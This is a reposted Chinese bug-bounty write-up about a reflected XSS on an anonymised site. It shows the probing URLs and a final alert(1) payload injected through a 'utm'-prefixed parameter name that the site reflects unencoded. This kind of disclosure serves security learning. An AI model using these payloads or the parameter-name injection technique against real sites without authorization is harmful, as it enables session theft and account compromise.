白帽子挖漏洞日记之指定型XSS
Posted 黑客花无涯
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了白帽子挖漏洞日记之指定型XSS相关的知识,希望对你有一定的参考价值。
各位信息安全大神们,大家好!我准备在这篇文章中跟大家分享一些我在最近一次挖洞过程中的发现,并与安全社区一同分享我的挖洞经验。
写在前面的话
在这篇文章中,我准备跟大家讨论一个我在Bugcrowd私人项目中发现的反射性XSS漏洞,几乎该网站下的任何一个页面都存在这种XSS漏洞,但是之前却没有被任何人发现。在本文中,我们暂且将该网站视作private-bounty.com。
挖洞过程
https://www.private-bounty.com/Deactivate?view=aaa&utm_content=foo&utm_medium=bar&utm_source=baz
我查看到的反射值为:
https://www.private-bounty.com/Deactivate?utm_content=foo&utm_medium=bar&utm_source=baz
其中的foo、bar和baz的值同样会反射在页面之中,但这些值都经过了适当的编码处理,因此我无法对这些值进行解析。
https://www.private-bounty.com/Deactivate?utm_content=foo'"><>\&utm_medium=bar'"><>\&utm_source=baz'"><>\
https://www.private-bounty.com/Deactivate/'"?utm_content=foo'"><>\&utm_medium=bar'"><>\&utm_source=baz'"><>\
https://www.private-bounty.com/Deactivate?view=aaa&utm_content=foo&utm_medium=bar&utm_source=baz&test=xxxxx
接下来,我又尝试添加了一个参数:utm_foobarbaz=xxxxx
https://www.private-bounty.com/Deactivate?utm_content=foo&utm_medium=bar&utm_source=baz&utm_foobarbaz=xxxx
但这一次我竟然成功了,这个值成功地被反射在了页面上,原来这个Web应用只会将以“utm”开头的参数反射到页面之中。
所以我又进行了一次尝试,尝试使用这个参数值来实现XSS攻击,但这个参数值还是会被Web应用编码。
接下来我所做的最后一次尝试就是在参数名本身中注入一个Payload来触发XSS漏洞:
https://www.private-bounty.com/Deactivate?utm_content=foo&utm_medium=bar&utm_source=baz&utm_foobarbaz'"</>=xxxxx
BOOM!!!!!!!这一次我终于成功了!这一次,这个以“utm”开头的参数名并没有被编码,并且成功反射到了页面之中。
想必大家也知道接下来的结果了,我们成功触发了一次警告弹窗。
https://www.private-bounty.com/Deactivate?utm_content=foo&utm_medium=bar&utm_source=baz&utm_foobarbaz');alert(1)//
总结
我们可以从这一次挖洞经历中学到的是,我们有的时候可以尝试在参数名本身中注入Payload,或者对参数名进行fuzzing操作。本文所介绍的情况相对来说是比较特殊的,因为这个Web应用并不会对特殊关键字(“utm”)进行编码,因此我们从参数名入手实现了一次XSS攻击。
* 参考来源:noob,FB小编Alpha_h4ck编译
以上是关于白帽子挖漏洞日记之指定型XSS的主要内容,如果未能解决你的问题,请参考以下文章
《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)